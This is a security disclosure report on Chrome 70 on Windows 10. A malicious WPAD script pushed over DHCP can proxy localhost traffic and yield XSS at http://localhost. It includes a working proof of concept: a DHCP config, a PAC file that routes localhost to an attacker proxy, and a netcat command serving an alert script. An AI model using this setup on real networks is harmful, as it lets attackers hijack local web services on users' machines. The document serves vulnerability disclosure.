Chrome: malicious WPAD server can proxy localhost (leading to XSS in http://localhost:*/*) VERSION Chrome Version: 70.0.3538.77 stable Operating System: Windows 10 (version 1803) When Chrome is installed on Windows and the user joins a malicious network that advertises a WPAD script (e.g. via DHCP), Chrome will fetch the WPAD script from the specified URL and use it for proxying decisions. In particular, for requests to http:// origins, the request is simply sent to the proxy instead. This is normally acceptable because if the network is malicious, an attacker could also perform a man-in-the-middle attack against any HTTP request. However, localhost should be special. There are applications that bind a web server to localhost and then use "Host" header checks to prevent DNS rebinding attacks. Such applications need to be protected from malicious outside traffic even if the network is malicious. Currently, Chrome does not special-case localhost in proxying decisions; this means that an attacker can abuse WPAD to gain the ability to serve attacker-controlled content at http://localhost:*/* , at which point the attacker should be able to perform same-origin XHR to http://localhost:*/* (e.g. by letting the PAC file specify "DIRECT" as fallback if the proxy goes down). I have tested that I can serve an attacker-controlled HTML file under the <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> origin to Chrome in a VM with Windows 10. === repro steps === 1. Set up a Windows 10 VM that is connected to a network bridge, without using a DHCP server integrated into the VM software. 2. Set up a DHCP server with a config that contains something like this: option domain-name-servers 8.8.8.8; option wpad-url code 252 = text; subnet 192.168.250.0 netmask 255.255.255.0 { range 192.168.250.100 192.168.250.200; option routers 192.168.250.1; option wpad-url "http://192.168.250.1:8080/proxy.pac"; } 3. Set up an HTTP server (e.g. with "python -m SimpleHTTPServer 8080") that serves the following file as proxy.pac on port 8080: function FindProxyForURL(url, host) { if (dnsDomainIs(host, "localhost")) { return "PROXY 192.168.250.1:8081"; } else { return "DIRECT"; } } 4. Set up some sort of HTTP server that can serve HTTP traffic on port 8081 and doesn't get confused by the weird HTTP request of a proxy connection too much. netcat is easy to use for this, thanks to HTTP/0.9 (but note that this will be a one-shot server): $ echo '<script>alert("hello from "+document.location)</script>' | nc -vlp 8081 Listening on [0.0.0.0] (family 0, port 8081) 5. Restart the VM's network connectivity and restart Chrome. 6. Navigate to <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a>. === Expected result === Chrome should connect to localhost directly and ignore the proxy. === Actual result === Chrome shows an alert box saying "hello from http://localhost", and netcat shows a request like this: Connection from 192.168.250.105 51278 received! GET <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh